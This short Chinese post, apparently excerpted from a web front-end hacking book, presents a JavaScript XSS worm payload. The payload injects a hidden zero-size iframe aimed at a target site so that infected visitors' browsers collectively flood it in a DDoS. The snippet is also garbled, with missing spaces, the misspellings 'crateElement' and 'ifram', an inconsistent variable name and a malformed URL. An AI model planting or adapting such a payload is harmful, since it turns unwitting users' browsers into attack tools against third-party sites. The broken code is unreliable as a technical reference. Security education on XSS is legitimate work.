Xss蠕虫--DDoS
xss蠕虫代码如下:
1 varddosIframe = document.crateElement("ifram"); 2 ddosIframe.style.width = 0; 3 ddowIframe.style.height = 0; 4 ddosIframe.src = 'http://wwwtarget.com/'; 5 document.body.appendChild(ddosIframe);
该代码自动创建一个iframe对象,并将地址指向被攻击的网站。如果xss蠕虫感染的用户同时发起了这个http请求,被攻击的网站就遭遇了ddos。
摘自--《web前端黑客技术揭秘》